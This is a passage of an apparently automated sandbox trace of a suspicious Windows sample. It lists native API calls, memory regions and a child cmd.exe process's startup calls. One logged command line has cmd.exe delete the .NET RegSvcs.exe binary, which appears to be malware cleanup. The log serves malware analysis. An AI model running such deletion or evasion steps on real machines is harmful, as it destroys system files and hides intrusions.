DesiredAccess=0x120089, ObjectAttributes=0x29e238*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e258, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e270*=0x0, IoStatusBlock=0x29e258*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0177.422] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0x450000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0177.422] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x450000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x450000, ResultLength=0x0) returned 0x0 [0177.463] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0x450000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0177.463] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) Thread: id = 152 os_tid = 0x6ac Thread: id = 159 os_tid = 0x8a4 Thread: id = 160 os_tid = 0x8ac Thread: id = 287 os_tid = 0xad4 Process: id = "12" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x9d6e000" os_pid = "0x8e8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xbe4" cmd_line = "/c del \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2251 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2252 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2253 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2254 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2255 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2256 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2257 start_va = 0x1b0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2258 start_va = 0x4acd0000 end_va = 0x4ad1bfff entry_point = 0x4acd0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 2259 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2260 start_va = 0x777c0000 end_va = 0x7793ffff entry_point = 0x777c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2261 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2262 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2263 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2264 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2265 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2266 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2267 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2268 start_va = 0x3f0000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2269 start_va = 0x750d0000 end_va = 0x7512bfff entry_point = 0x750d0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2270 start_va = 0x75240000 end_va = 0x7527efff entry_point = 0x75240000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2271 start_va = 0x752d0000 end_va = 0x752d7fff entry_point = 0x752d0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2272 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2273 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2274 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2275 start_va = 0x5b0000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 2276 start_va = 0x752f0000 end_va = 0x752f6fff entry_point = 0x752f0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 2277 start_va = 0x75310000 end_va = 0x7531bfff entry_point = 0x75310000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2278 start_va = 0x75320000 end_va = 0x7537ffff entry_point = 0x75320000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2279 start_va = 0x75390000 end_va = 0x7542ffff entry_point = 0x75390000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2280 start_va = 0x75510000 end_va = 0x75519fff entry_point = 0x75510000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2281 start_va = 0x755d0000 end_va = 0x7565ffff entry_point = 0x755d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2282 start_va = 0x758f0000 end_va = 0x759dffff entry_point = 0x758f0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2283 start_va = 0x759f0000 end_va = 0x75a08fff entry_point = 0x759f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2284 start_va = 0x75b60000 end_va = 0x75bfcfff entry_point = 0x75b60000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2285 start_va = 0x75c00000 end_va = 0x75cabfff entry_point = 0x75c00000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2286 start_va = 0x76110000 end_va = 0x76155fff entry_point = 0x76110000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2287 start_va = 0x76380000 end_va = 0x7647ffff entry_point = 0x76380000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2288 start_va = 0x76540000 end_va = 0x7664ffff entry_point = 0x76540000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2289 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x0 region_type = private name = "private_0x00000000773c0000" filename = "" Region: id = 2290 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x0 region_type = private name = "private_0x00000000774e0000" filename = "" Region: id = 2291 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2292 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2293 start_va = 0x30000 end_va = 0x3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2294 start_va = 0x6b0000 end_va = 0x837fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 2295 start_va = 0x75430000 end_va = 0x754fbfff entry_point = 0x75430000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2296 start_va = 0x75cb0000 end_va = 0x75d0ffff entry_point = 0x75cb0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2297 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2298 start_va = 0x80000 end_va = 0x81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2299 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2300 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2301 start_va = 0x840000 end_va = 0x9c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 2302 start_va = 0x9d0000 end_va = 0x1dcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 2303 start_va = 0x1dd0000 end_va = 0x2112fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dd0000" filename = "" Region: id = 2304 start_va = 0x2b0000 end_va = 0x36ffff entry_point = 0x2b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Thread: id = 153 os_tid = 0x8e4 [0085.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2af864 | out: lpSystemTimeAsFileTime=0x2af864*(dwLowDateTime=0xcd2fb980, dwHighDateTime=0x1d4c1ea)) [0085.400] GetCurrentProcessId () returned 0x8e8 [0085.400] GetCurrentThreadId () returned 0x8e4 [0085.400] GetTickCount () returned 0x231f8 [0085.400] QueryPerformanceCounter (in: lpPerformanceCount=0x2af85c | out: lpPerformanceCount=0x2af85c*=1816249900000) returned 1 [0085.402] GetModuleHandleA (lpModuleName=0x0) returned 0x4acd0000 [0085.402] __set_app_type (_Type=0x1) [0085.402] __p__fmode () returned 0x75ca31f4 [0085.402] __p__commode () returned 0x75ca31fc [0085.403] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4acf21a6) returned 0x0 [0085.403] __getmainargs (in: _Argc=0x4acf4238, _Argv=0x4acf4240, _Env=0x4acf423c, _DoWildCard=0, _StartInfo=0x4acf4140 | out: _Argc=0x4acf4238, _Argv=0x4acf4240, _Env=0x4acf423c) returned 0 [0085.403] GetCurrentThreadId () returned 0x8e4 [0085.403] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8e4) returned 0x60 [0085.403] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76540000 [0085.403] GetProcAddress (hModule=0x76540000, lpProcName="SetThreadUILanguage") returned 0x7656a84f [0085.403] SetThreadUILanguage (LangId=0x0) returned 0x409 [0085.404] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0085.404] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2af7f4 | out: phkResult=0x2af7f4*=0x0) returned 0x2 [0085.404] VirtualQuery (in: lpAddress=0x2af82b, lpBuffer=0x2af7c4, dwLength=0x1c | out: lpBuffer=0x2af7c4*(BaseAddress=0x2af000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0085.404] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x2af7c4, dwLength=0x1c | out: lpBuffer=0x2af7c4*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0085.404] VirtualQuery (in: lpAddress=0x1b1000, lpBuffer=0x2af7c4, dwLength=0x1c | out: lpBuffer=0x2af7c4*(BaseAddress=0x1b1000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0085.404] VirtualQuery (in: lpAddress=0x1b3000, lpBuffer=0x2af7c4, dwLength=0x1c | out: lpBuffer=0x2af7c4*(BaseAddress=0x1b3000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0085.404] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x2af7c4, dwLength=0x1c | out: lpBuffer=0x2af7c4*(BaseAddress=0x2b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x140000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0085.404] GetConsoleOutputCP () returned 0x1b5 [0085.404] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acf4260 | out: lpCPInfo=0x4acf4260) returned 1 [0085.404] SetConsoleCtrlHandler (HandlerRoutine=0x4acee72a, Add=1) returned 1 [0085.404] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.404] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0085.404] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.404] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4acf41ac | out: lpMode=0x4acf41ac) returned 1 [0085.405] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.405] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0085.405] _get_osfhandle (_FileHandle=0) returned 0x3 [0085.405] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4acf41b0 | out: lpMode=0x4acf41b0) returned 1 [0085.406] _get_osfhandle (_FileHandle=0) returned 0x3 [0085.406] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0085.406] GetEnvironmentStringsW () returned 0x5c2048* [0085.406] FreeEnvironmentStringsW (penv=0x5c2048) returned 1 [0085.407] GetEnvironmentStringsW () returned 0x5c2048* [0085.407] FreeEnvironmentStringsW (penv=0x5c2048) returned 1 [0085.407] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ae764 | out: phkResult=0x2ae764*=0x68) returned 0x0 [0085.407] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x0, lpData=0x2ae770*=0x0, lpcbData=0x2ae768*=0x1000) returned 0x2 [0085.407] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x4, lpData=0x2ae770*=0x1, lpcbData=0x2ae768*=0x4) returned 0x0 [0085.407] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x0, lpData=0x2ae770*=0x1, lpcbData=0x2ae768*=0x1000) returned 0x2 [0085.407] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x4, lpData=0x2ae770*=0x0, lpcbData=0x2ae768*=0x4) returned 0x0 [0085.407] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x4, lpData=0x2ae770*=0x40, lpcbData=0x2ae768*=0x4) returned 0x0 [0085.407] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x4, lpData=0x2ae770*=0x40, lpcbData=0x2ae768*=0x4) returned 0x0 [0085.407] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x0, lpData=0x2ae770*=0x40, lpcbData=0x2ae768*=0x1000) returned 0x2 [0085.407] RegCloseKey (hKey=0x68) returned 0x0 [0085.407] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ae764 | out: phkResult=0x2ae764*=0x68) returned 0x0 [0085.407] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x0, lpData=0x2ae770*=0x40, lpcbData=0x2ae768*=0x1000) returned 0x2 [0085.407] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x4, lpData=0x2ae770*=0x1, lpcbData=0x2ae768*=0x4) returned 0x0 [0085.408] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x0, lpData=0x2ae770*=0x1, lpcbData=0x2ae768*=0x1000) returned 0x2 [0085.408] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x4, lpData=0x2ae770*=0x0, lpcbData=0x2ae768*=0x4) returned 0x0 [0085.408] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x4, lpData=0x2ae770*=0x9, lpcbData=0x2ae768*=0x4) returned 0x0 [0085.408] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x4, lpData=0x2ae770*=0x9, lpcbData=0x2ae768*=0x4) returned 0x0 [0085.408] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ae76c, lpData=0x2ae770, lpcbData=0x2ae768*=0x1000 | out: lpType=0x2ae76c*=0x0, lpData=0x2ae770*=0x9, lpcbData=0x2ae768*=0x1000) returned 0x2 [0085.408] RegCloseKey (hKey=0x68) returned 0x0 [0085.408] time (in: timer=0x0 | out: timer=0x0) returned 0x5c613dfa [0085.408] srand (_Seed=0x5c613dfa) [0085.408] GetCommandLineW () returned="/c del \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\"" [0085.408] GetCommandLineW () returned="/c del \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\"" [0085.409] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acf5260 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0085.409] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5c2050, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0085.409] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ad00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0085.409] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ad00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0085.410] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ad00640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.410] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0085.410] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0085.410] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0085.410] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0085.410] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0085.410] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0085.410] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0085.410] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0085.410] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0085.410] GetEnvironmentStringsW () returned 0x5c2260* [0085.410] FreeEnvironmentStringsW (penv=0x5c2260) returned 1 [0085.410] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ad00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.410] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ad00640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.410] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0085.410] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0085.410] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0085.410] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0085.410] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0085.410] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0085.410] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0085.410] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0085.410] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2af530 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0085.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x2af530, lpFilePart=0x2af52c | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2af52c*="system32") returned 0x13 [0085.411] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0085.411] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x2af2ac | out: lpFindFileData=0x2af2ac) returned 0x5c5688 [0085.411] FindClose (in: hFindFile=0x5c5688 | out: hFindFile=0x5c5688) returned 1 [0085.411] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x2af2ac | out: lpFindFileData=0x2af2ac) returned 0x5c5688 [0085.411] FindClose (in: hFindFile=0x5c5688 | out: hFindFile=0x5c5688) returned 1 [0085.411] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0085.411] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0085.411] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0085.411] GetEnvironmentStringsW () returned 0x5c40b8* [0085.412] FreeEnvironmentStringsW (penv=0x5c40b8) returned 1 [0085.412] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acf5260 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0085.412] GetConsoleOutputCP () returned 0x1b5 [0085.412] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acf4260 | out: lpCPInfo=0x4acf4260) returned 1 [0085.412] GetUserDefaultLCID () returned 0x409 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4acf4950, cchData=8 | out: lpLCData=":") returned 2 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2af670, cchData=128 | out: lpLCData="0") returned 2 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2af670, cchData=128 | out: lpLCData="0") returned 2 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2af670, cchData=128 | out: lpLCData="1") returned 2 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4acf4940, cchData=8 | out: lpLCData="/") returned 2 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4acf4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4acf4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4acf4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4acf4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4acf4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4acf4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4acf4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4acf4930, cchData=8 | out: lpLCData=".") returned 2 [0085.413] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4acf4920, cchData=8 | out: lpLCData=",") returned 2 [0085.413] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0085.414] GetConsoleTitleW (in: lpConsoleTitle=0x5c2e10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\SysWOW64\\cmd.exe") returned 0x1b [0085.415] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76540000 [0085.415] GetProcAddress (hModule=0x76540000, lpProcName="CopyFileExW") returned 0x76573b92 [0085.415] GetProcAddress (hModule=0x76540000, lpProcName="IsDebuggerPresent") returned 0x76554a5d [0085.415] GetProcAddress (hModule=0x76540000, lpProcName="SetConsoleInputExeNameW") returned 0x7656a79d [0085.416] _wcsicmp (_String1="del", _String2=")") returned 59 [0085.416] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0085.416] _wcsicmp (_String1="FOR/?", _String2="del") returned 